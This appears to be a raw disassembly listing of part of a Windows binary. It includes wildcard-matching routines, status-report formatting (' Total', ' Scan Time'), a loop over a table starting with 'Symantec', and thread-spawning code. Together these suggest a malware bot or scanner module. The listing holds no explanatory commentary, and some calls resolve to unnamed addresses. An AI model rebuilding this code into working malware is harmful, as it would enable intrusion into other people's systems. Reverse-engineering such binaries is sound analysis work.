loc_40B747:				; CODE XREF: sub_40B713+26j
		inc	[ebp+arg_4]
		jmp	short loc_40B777
; ---------------------------------------------------------------------------

loc_40B74C:				; CODE XREF: sub_40B713+2Bj
		lea	eax, [ebp+arg_4]
		inc	esi
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_40B7A9
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_40B777
; ---------------------------------------------------------------------------

loc_40B764:				; CODE XREF: sub_40B713+21j
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_40B841
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		dec	esi

loc_40B777:				; CODE XREF: sub_40B713+37j
					; sub_40B713+4Fj
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_40B71D
; ---------------------------------------------------------------------------

loc_40B77D:				; CODE XREF: sub_40B713+Ej
					; sub_40B713+13j ...
		cmp	byte ptr [esi],	2Ah
		jnz	short loc_40B78D
		cmp	eax, 1
		jnz	short loc_40B7A4
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_40B77D
; ---------------------------------------------------------------------------

loc_40B78D:				; CODE XREF: sub_40B713+6Dj
		cmp	eax, 1
		jnz	short loc_40B7A4
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_40B7A4
		cmp	byte ptr [esi],	0
		jnz	short loc_40B7A4
		push	1
		pop	eax
		jmp	short loc_40B7A6
; ---------------------------------------------------------------------------

loc_40B7A4:				; CODE XREF: sub_40B713+72j
					; sub_40B713+7Dj ...
		xor	eax, eax

loc_40B7A6:				; CODE XREF: sub_40B713+8Fj
		pop	esi
		pop	ebp
		retn
sub_40B713	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B7A9	proc near		; CODE XREF: sub_40B713+45p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edi
		xor	edi, edi
		push	1
		mov	ecx, [edx]
		and	[ebp+var_8], edi
		pop	eax
		cmp	byte ptr [ecx],	21h
		mov	[ebp+var_4], eax
		jnz	short loc_40B7CA
		inc	ecx
		mov	[ebp+var_8], eax
		mov	[edx], ecx

loc_40B7CA:				; CODE XREF: sub_40B7A9+19j
		push	ebx
		push	esi

loc_40B7CC:				; CODE XREF: sub_40B7A9+7Bj
		mov	ecx, [edx]
		mov	bl, [ecx]
		cmp	bl, 5Dh
		jnz	short loc_40B7DA
		cmp	[ebp+var_4], eax
		jnz	short loc_40B826

loc_40B7DA:				; CODE XREF: sub_40B7A9+2Aj
		test	edi, edi
		jnz	short loc_40B81B
		cmp	bl, 2Dh
		jnz	short loc_40B80F
		mov	al, [ecx+1]
		lea	esi, [ecx+1]
		mov	cl, [ecx-1]
		cmp	cl, al
		jge	short loc_40B80F
		cmp	al, 5Dh
		jz	short loc_40B80F
		cmp	[ebp+var_4], edi
		jnz	short loc_40B80F
		mov	ebx, [ebp+arg_4]
		mov	ebx, [ebx]
		mov	bl, [ebx]
		cmp	bl, cl
		jl	short loc_40B81B
		cmp	bl, al
		jg	short loc_40B81B
		push	1
		mov	[edx], esi
		pop	edi
		jmp	short loc_40B81B
; ---------------------------------------------------------------------------

loc_40B80F:				; CODE XREF: sub_40B7A9+38j
					; sub_40B7A9+45j ...
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		cmp	bl, [eax]
		jnz	short loc_40B81B
		push	1
		pop	edi

loc_40B81B:				; CODE XREF: sub_40B7A9+33j
					; sub_40B7A9+59j ...
		inc	dword ptr [edx]
		and	[ebp+var_4], 0
		push	1
		pop	eax
		jmp	short loc_40B7CC
; ---------------------------------------------------------------------------

loc_40B826:				; CODE XREF: sub_40B7A9+2Fj
		cmp	[ebp+var_8], eax
		pop	esi
		pop	ebx
		jnz	short loc_40B833
		mov	ecx, eax
		sub	ecx, edi
		mov	edi, ecx

loc_40B833:				; CODE XREF: sub_40B7A9+82j
		cmp	edi, eax
		jnz	short loc_40B83C
		mov	eax, [ebp+arg_4]
		inc	dword ptr [eax]

loc_40B83C:				; CODE XREF: sub_40B7A9+8Cj
		mov	eax, edi
		pop	edi
		leave
		retn
sub_40B7A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B841	proc near		; CODE XREF: sub_40B713+59p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], 1
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		xor	ebx, ebx

loc_40B85D:				; CODE XREF: sub_40B841+3Aj
		cmp	[eax], bl
		jz	short loc_40B87D
		mov	cl, [ecx]
		cmp	cl, 3Fh
		jz	short loc_40B872
		cmp	cl, 2Ah
		jnz	short loc_40B87D
		cmp	cl, 3Fh
		jnz	short loc_40B875

loc_40B872:				; CODE XREF: sub_40B841+25j
		inc	eax
		mov	[edi], eax

loc_40B875:				; CODE XREF: sub_40B841+2Fj
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		jmp	short loc_40B85D
; ---------------------------------------------------------------------------

loc_40B87D:				; CODE XREF: sub_40B841+1Ej
					; sub_40B841+2Aj ...
		mov	eax, [esi]
		cmp	byte ptr [eax],	2Ah
		jnz	short loc_40B888
		inc	dword ptr [esi]
		jmp	short loc_40B87D
; ---------------------------------------------------------------------------

loc_40B888:				; CODE XREF: sub_40B841+41j
		mov	eax, [edi]
		mov	cl, [eax]
		cmp	cl, bl
		jnz	short loc_40B8A9
		mov	edx, [esi]
		cmp	[edx], bl
		jz	short loc_40B89A
		xor	eax, eax
		jmp	short loc_40B909
; ---------------------------------------------------------------------------

loc_40B89A:				; CODE XREF: sub_40B841+53j
		cmp	cl, bl
		jnz	short loc_40B8A9
		mov	ecx, [esi]
		cmp	[ecx], bl
		jnz	short loc_40B8A9
		push	1
		pop	eax
		jmp	short loc_40B909
; ---------------------------------------------------------------------------

loc_40B8A9:				; CODE XREF: sub_40B841+4Dj
					; sub_40B841+5Bj ...
		push	eax
		push	dword ptr [esi]
		call	sub_40B713
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40B8F3

loc_40B8B7:				; CODE XREF: sub_40B841+B0j
		inc	dword ptr [edi]
		mov	eax, [edi]

loc_40B8BB:				; CODE XREF: sub_40B841+90j
		mov	ecx, [esi]
		mov	dl, [eax]
		mov	cl, [ecx]
		cmp	cl, dl
		jz	short loc_40B8D3
		cmp	cl, 5Bh
		jz	short loc_40B8D3
		cmp	dl, bl
		jz	short loc_40B8D3
		inc	eax
		mov	[edi], eax
		jmp	short loc_40B8BB
; ---------------------------------------------------------------------------

loc_40B8D3:				; CODE XREF: sub_40B841+82j
					; sub_40B841+87j ...
		mov	eax, [edi]
		cmp	[eax], bl
		jz	short loc_40B8EA
		push	eax
		push	dword ptr [esi]
		call	sub_40B713
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40B8EF
; ---------------------------------------------------------------------------

loc_40B8EA:				; CODE XREF: sub_40B841+96j
		mov	[ebp+var_4], ebx
		xor	eax, eax

loc_40B8EF:				; CODE XREF: sub_40B841+A7j
		cmp	eax, ebx
		jnz	short loc_40B8B7

loc_40B8F3:				; CODE XREF: sub_40B841+74j
		mov	eax, [edi]
		cmp	[eax], bl
		jnz	short loc_40B906
		mov	eax, [esi]
		cmp	[eax], bl
		jnz	short loc_40B906
		mov	[ebp+var_4], 1

loc_40B906:				; CODE XREF: sub_40B841+B6j
					; sub_40B841+BCj
		mov	eax, [ebp+var_4]

loc_40B909:				; CODE XREF: sub_40B841+57j
					; sub_40B841+66j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B841	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B90E	proc near		; CODE XREF: sub_401ACD+2AB2p

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		push	ebx
		push	edi
		lea	eax, [ebp+var_200]
		push	offset unk_431BA4
		push	eax
		xor	ebx, ebx
		call	sub_41C266
		cmp	dword_431808, ebx
		pop	ecx
		pop	ecx
		mov	edi, 200h
		jz	short loc_40B980
		push	esi
		mov	esi, offset dword_431810

loc_40B941:				; CODE XREF: sub_40B90E+6Fj
		mov	eax, [esi]
		test	eax, eax
		jbe	short loc_40B976
		add	ebx, eax
		push	eax
		lea	eax, [esi-26h]
		push	eax
		lea	eax, [ebp+var_400]
		push	offset dword_431B98
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_41CBC0
		add	esp, 1Ch

loc_40B976:				; CODE XREF: sub_40B90E+37j
		add	esi, 40h
		cmp	dword ptr [esi-8], 0
		jnz	short loc_40B941
		pop	esi

loc_40B980:				; CODE XREF: sub_40B90E+2Bj
		push	dword_4CB724
		call	sub_41ADD8
		pop	ecx
		push	eax
		push	ebx
		lea	eax, [ebp+var_400]
		push	offset aTotalDInS_ ; " Total: %d in %s."
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_41CBC0
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_415D38
		add	esp, 34h
		pop	edi
		pop	ebx
		leave
		retn
sub_40B90E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B9DD	proc near		; CODE XREF: sub_401ACD+2A9Cp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		mov	eax, dword_4CE4F0
		mov	ecx, dword_4CE4EC
		push	esi
		push	dword_4CB724
		lea	esi, [ecx+eax]
		call	sub_41ADD8
		pop	ecx
		push	eax
		push	esi
		push	dword_4CE4F0
		lea	eax, [ebp+var_200]
		push	dword_4CE4EC
		push	offset unk_431BC4
		push	eax
		call	sub_41C266
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_415D38
		add	esp, 30h
		pop	esi
		leave
		retn
sub_40B9DD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BA49	proc near		; CODE XREF: sub_401ACD+2A86p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	dword_4CB724
		call	sub_41ADD8
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	dword_4CE728
		push	offset unk_431C0C
		push	eax
		call	sub_41C266
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_415D38
		add	esp, 28h
		leave
		retn
sub_40BA49	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BA9E	proc near		; CODE XREF: sub_401ACD+2A70p

var_1000	= byte ptr -1000h
var_800		= byte ptr -800h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_41C500
		push	edi
		lea	eax, [ebp+var_800]
		push	offset dword_431C58
		push	eax
		call	sub_41C266
		cmp	dword_431808, 0
		pop	ecx
		pop	ecx
		mov	edi, 800h
		jz	short loc_40BB0A
		push	esi
		mov	esi, offset aSymantec ;	"Symantec"

loc_40BAD3:				; CODE XREF: sub_40BA9E+69j
		lea	eax, [esi-0Ah]
		push	eax
		push	esi
		lea	eax, [ebp+var_1000]
		push	offset dword_431C48
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_41CBC0
		add	esi, 40h
		add	esp, 1Ch
		cmp	dword ptr [esi+1Eh], 0
		jnz	short loc_40BAD3
		pop	esi

loc_40BB0A:				; CODE XREF: sub_40BA9E+2Dj
		push	dword_4CB724
		call	sub_41ADD8
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1000]
		push	offset aScanTimeS_ ; " Scan Time: %s."
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_41CBC0
		push	0
		lea	eax, [ebp+var_800]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_415D38
		add	esp, 30h
		pop	edi
		leave
		retn
sub_40BA9E	endp

; ---------------------------------------------------------------------------
byte_40BB65	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+309Ao
; ---------------------------------------------------------------------------
		sub	esp, 3F0h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	4Bh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-134h]
		rep movsd
		mov	dword ptr [eax+128h], 1
		lea	eax, [ebp-134h]
		push	eax
		call	dword_4CBA24
		xor	edi, edi
		mov	[ebp-8], eax
		cmp	dword_431808, edi
		mov	[ebp-4], edi
		mov	[ebp+8], edi
		jz	loc_40BCC7
		mov	ebx, offset dword_431808
		mov	eax, ebx

loc_40BBB6:				; CODE XREF: ___:0040BCC1j
		push	dword ptr [ebp-1Ch]
		push	dword ptr [eax]
		push	dword ptr [ebp-8]
		call	sub_40C34B
		add	esp, 0Ch
		cmp	eax, 1
		jnz	loc_40BCB7
		push	dword ptr [ebx]
		lea	esi, [ebx-28h]
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [esi+0Ah]
		push	eax
		lea	eax, [ebp-3F0h]
		push	offset unk_431CA8
		push	eax
		call	sub_41C266
		push	edi
		lea	eax, [ebp-3F0h]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-124h]
		push	eax
		push	dword ptr [ebp-24h]
		call	sub_409869
		lea	eax, [ebp-3F0h]
		push	eax
		call	sub_415D38
		add	esp, 2Ch
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [ebp-1ECh]
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp-15Ch]
		pop	ecx
		push	esi
		push	eax
		call	sub_41C266
		cmp	byte ptr [ebp-0A4h], 0
		pop	ecx
		pop	ecx
		lea	eax, [ebp-0A4h]
		jnz	short loc_40BC52
		lea	eax, [ebp-124h]

loc_40BC52:				; CODE XREF: ___:0040BC4Aj
		push	eax
		lea	eax, [ebp-1DCh]
		push	eax
		call	sub_41C266
		mov	eax, [ebp-24h]
		pop	ecx
		mov	[ebp-1F0h], eax
		mov	eax, [ebp-14h]
		mov	[ebp-140h], eax
		mov	eax, [ebp-10h]
		pop	ecx
		mov	[ebp-13Ch], eax
		mov	eax, [ebx]
		sub	esp, 0BCh
		mov	[ebp-150h], eax
		mov	eax, [ebp-18h]
		push	2Fh
		mov	[ebp-14Ch], eax
		mov	eax, [ebp+8]
		pop	ecx
		lea	esi, [ebp-1F0h]
		mov	edi, esp
		mov	[ebp-148h], eax
		rep movsd
		call	dword ptr [ebx+4]
		add	esp, 0BCh
		inc	dword ptr [ebp-4]
		xor	edi, edi

loc_40BCB7:				; CODE XREF: ___:0040BBC9j
		inc	dword ptr [ebp+8]
		add	ebx, 40h
		mov	eax, ebx
		cmp	[ebx], edi
		jnz	loc_40BBB6

loc_40BCC7:				; CODE XREF: ___:0040BBA9j
		push	dword ptr [ebp-4]
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [ebp-3F0h]
		push	offset unk_431C74
		push	eax
		call	sub_41C266
		push	edi
		lea	eax, [ebp-3F0h]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-124h]
		push	eax
		push	dword ptr [ebp-24h]
		call	sub_409869
		lea	eax, [ebp-3F0h]
		push	eax
		call	sub_415D38
		push	dword ptr [ebp-18h]
		call	sub_40B6D6
		add	esp, 2Ch
		push	edi
		nop
; ---------------------------------------------------------------------------
		db 0E8h, 0E6h, 42h
		db 2Eh,	2

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BD1A	proc near		; CODE XREF: sub_401ACD+23F4p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	0Bh
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jle	short loc_40BD56
		mov	eax, [ebp+arg_C]
		push	dword_4CBB30[eax*8]
		call	dword_4CBA70
		push	eax
		lea	eax, [ebp+var_200]
		push	offset unk_431CF8
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		jmp	short loc_40BD69
; ---------------------------------------------------------------------------

loc_40BD56:				; CODE XREF: sub_40BD1A+13j
		lea	eax, [ebp+var_200]
		push	offset unk_431CD8
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx

loc_40BD69:				; CODE XREF: sub_40BD1A+3Aj
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_415D38
		add	esp, 18h
		leave
		retn
sub_40BD1A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BD91	proc near		; CODE XREF: sub_40C3E8+267p

var_210		= dword	ptr -210h
var_204		= byte ptr -204h
var_4		= byte ptr -4
arg_10		= byte ptr  18h
arg_90		= byte ptr  98h
arg_110		= dword	ptr  118h
arg_130		= dword	ptr  138h
arg_138		= dword	ptr  140h
arg_13C		= dword	ptr  144h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		mov	eax, [ebp+arg_130]
		push	ebx
		cmp	eax, 0FFFFFFFFh
		push	esi
		jz	loc_40C263
		shl	eax, 6
		xor	ebx, ebx
		cmp	dword_431814[eax], ebx
		jz	loc_40C263
		push	5
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jnz	loc_40C018
		mov	eax, dword_429078
		push	edi
		mov	esi, offset dword_4CDBEC
		push	104h
		push	esi
		push	ebx
		mov	dword_4CDDFC, eax
		mov	dword_4CDDF8, ebx
		nop
		call	near ptr 2680000h
		mov	edi, offset byte_42910C
		push	103h
		push	edi
		push	offset dword_4CDCF0
		call	sub_41BFD0
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_4CDBE8, eax
		mov	eax, [ebp+arg_138]
		push	7Fh
		mov	dword_4CDE80, eax
		jnz	short loc_40BE44
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CDE00
		call	sub_41BFD0
		add	esp, 0Ch
		mov	dword_4CDE84, 1
		jmp	short loc_40BE5E
; ---------------------------------------------------------------------------

loc_40BE44:				; CODE XREF: sub_40BD91+94j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CDE00
		call	sub_41BFD0
		add	esp, 0Ch
		mov	dword_4CDE84, ebx

loc_40BE5E:				; CODE XREF: sub_40BD91+B1j
		push	esi
		lea	eax, [ebp+var_204]
		push	dword_4CDDFC
		push	offset unk_42C210
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_204]
		push	5
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	dword_4CDDF4, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CDBE8
		push	offset byte_412197
		push	ebx
		push	ebx
		call	near ptr 2690000h
		nop
		mov	ecx, dword_4CDDF4
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_40BECC

loc_40BEBA:				; CODE XREF: sub_40BD91+139j
		cmp	dword_4CDE88, ebx
		jnz	short loc_40BEE7
		push	32h
		nop
		call	near ptr 2680F3Dh
		jmp	short loc_40BEBA
; ---------------------------------------------------------------------------

loc_40BECC:				; CODE XREF: sub_40BD91+127j
		nop
		call	near ptr 269096Bh
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_431E18
		push	eax
		call	sub_41C266
		add	esp, 0Ch

loc_40BEE7:				; CODE XREF: sub_40BD91+12Fj
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_415D38
		mov	eax, dword_4CB720
		mov	esi, offset dword_4CDE94
		mov	[esp+210h+var_210], 104h
		push	esi
		push	ebx
		mov	dword_4CE0A4, eax
		mov	dword_4CE0A0, ebx
		call	near ptr 2680000h
		nop
		push	103h
		push	edi
		push	offset dword_4CDF98
		call	sub_41BFD0
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_4CDE90, eax
		mov	eax, [ebp+arg_138]
		pop	edi
		mov	dword_4CE128, eax
		push	7Fh
		jnz	short loc_40BF68
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CE0A8
		call	sub_41BFD0
		add	esp, 0Ch
		mov	dword_4CE12C, 1
		jmp	short loc_40BF82
; ---------------------------------------------------------------------------

loc_40BF68:				; CODE XREF: sub_40BD91+1B8j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CE0A8
		call	sub_41BFD0
		add	esp, 0Ch
		mov	dword_4CE12C, ebx

loc_40BF82:				; CODE XREF: sub_40BD91+1D5j
		push	esi
		lea	eax, [ebp+var_204]
		push	dword_4CE0A4
		push	offset unk_431DE4
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_204]
		push	4
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	dword_4CE09C, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CDE90
		push	offset word_40F3AA
		push	ebx
		push	ebx
		nop
		call	near ptr 2690000h
		mov	ecx, dword_4CE09C
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_40BFF0

loc_40BFDE:				; CODE XREF: sub_40BD91+25Dj
		cmp	dword_4CE130, ebx
		jnz	short loc_40C00B
		push	32h
		call	near ptr 2680F3Dh
		nop
		jmp	short loc_40BFDE
; ---------------------------------------------------------------------------

loc_40BFF0:				; CODE XREF: sub_40BD91+24Bj
		nop
		call	near ptr 269096Bh
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_431DB0
		push	eax
		call	sub_41C266
		add	esp, 0Ch

loc_40C00B:				; CODE XREF: sub_40BD91+253j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_415D38
		pop	ecx

loc_40C018:				; CODE XREF: sub_40BD91+35j
		mov	eax, [ebp+arg_130]
		mov	ecx, eax
		shl	ecx, 6
		cmp	dword_43181C[ecx], ebx
		jz	loc_40C141
		push	7
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jnz	loc_40C13B
		mov	eax, dword_4CE720
		cmp	[ebp+arg_90], bl
		mov	dword_4CDB54, eax
		mov	eax, [ebp+arg_110]
		mov	dword_4CDB48, eax
		mov	eax, [ebp+arg_138]
		mov	dword_4CDB50, ebx
		mov	dword_4CDBD8, eax
		push	7Fh
		jnz	short loc_40C08C
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CDB58
		call	sub_41BFD0
		add	esp, 0Ch
		mov	dword_4CDBDC, 1
		jmp	short loc_40C0A6
; ---------------------------------------------------------------------------

loc_40C08C:				; CODE XREF: sub_40BD91+2DCj
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CDB58
		call	sub_41BFD0
		add	esp, 0Ch
		mov	dword_4CDBDC, ebx

loc_40C0A6:				; CODE XREF: sub_40BD91+2F9j
		push	dword_4CDB54
		lea	eax, [ebp+var_204]
		push	offset unk_431D80
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_204]
		push	7
		push	eax
		call	sub_40B3BA
		add	esp, 18h
		mov	dword_4CDB4C, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CDB48
		push	offset dword_40F108
		push	ebx
		push	ebx
		call	near ptr 2690000h
		nop
		mov	ecx, dword_4CDB4C
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_40C113

loc_40C101:				; CODE XREF: sub_40BD91+380j
		cmp	dword_4CDBE0, ebx
		jnz	short loc_40C12E
		push	32h
		nop
		call	near ptr 2680F3Dh
		jmp	short loc_40C101
; ---------------------------------------------------------------------------

loc_40C113:				; CODE XREF: sub_40BD91+36Ej
		nop
		call	near ptr 269096Bh
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_431D48
		push	eax
		call	sub_41C266
		add	esp, 0Ch

loc_40C12E:				; CODE XREF: sub_40BD91+376j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_415D38
		pop	ecx

loc_40C13B:				; CODE XREF: sub_40BD91+2A8j
		mov	eax, [ebp+arg_130]

loc_40C141:				; CODE XREF: sub_40BD91+298j
		shl	eax, 6
		cmp	dword_431818[eax], ebx
		jz	loc_40C263
		push	3
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jnz	loc_40C263
		mov	esi, offset dword_4CE3C4
		push	104h
		push	esi
		push	ebx
		nop
		call	near ptr 2680000h
		push	5Ch
		push	esi
		call	sub_41C820
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40C182
		mov	[eax], bl

loc_40C182:				; CODE XREF: sub_40BD91+3EDj
		mov	eax, dword_42907C
		mov	dword_4CE4DC, ebx
		mov	dword_4CE4C8, eax
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CE13C
		call	sub_41C266
		mov	eax, [ebp+arg_110]
		pop	ecx
		pop	ecx
		mov	dword_4CE138, eax
		mov	ecx, [ebp+arg_138]
		push	esi
		push	dword_4CE4C8
		mov	dword_4CE4D4, ecx
		mov	ecx, [ebp+arg_13C]
		push	eax
		mov	dword_4CE4D8, ecx
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_42C198
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_204]
		push	3
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	dword_4CE4D0, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CE138
		push	offset sub_40FAD6
		push	ebx
		push	ebx
		call	near ptr 2690000h
		nop
		mov	ecx, dword_4CE4D0
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_40C23B

loc_40C229:				; CODE XREF: sub_40BD91+4A8j
		cmp	dword_4CE4E4, ebx
		jnz	short loc_40C256
		push	32h
		nop
		call	near ptr 2680F3Dh
		jmp	short loc_40C229
; ---------------------------------------------------------------------------

loc_40C23B:				; CODE XREF: sub_40BD91+496j
		call	near ptr 269096Bh
		nop
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_431D14
		push	eax
		call	sub_41C266
		add	esp, 0Ch

loc_40C256:				; CODE XREF: sub_40BD91+49Ej
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_415D38
		pop	ecx

loc_40C263:				; CODE XREF: sub_40BD91+14j
					; sub_40BD91+25j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_40BD91	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C267	proc near		; CODE XREF: sub_40C3E8:loc_40C459p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	esi
		push	4
		lea	esi, ds:4CBB30h[eax*8]
		lea	eax, [ebp+arg_0]
		push	esi
		push	eax
		call	sub_41CD20
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	dword_4CB90C
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	dword_4CB9E0
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		push	esi
		call	sub_41CD20
		mov	eax, [esi]
		add	esp, 0Ch
		pop	esi
		pop	ebp
		retn
sub_40C267	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C2AF	proc near		; CODE XREF: sub_40C3E8+69p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		or	esi, 0FFFFFFFFh
		push	[ebp+arg_0]
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], esi
		mov	[ebp+var_10], esi
		call	sub_41B9C0
		cmp	eax, 0Fh
		pop	ecx
		jbe	short loc_40C2D7
		xor	eax, eax
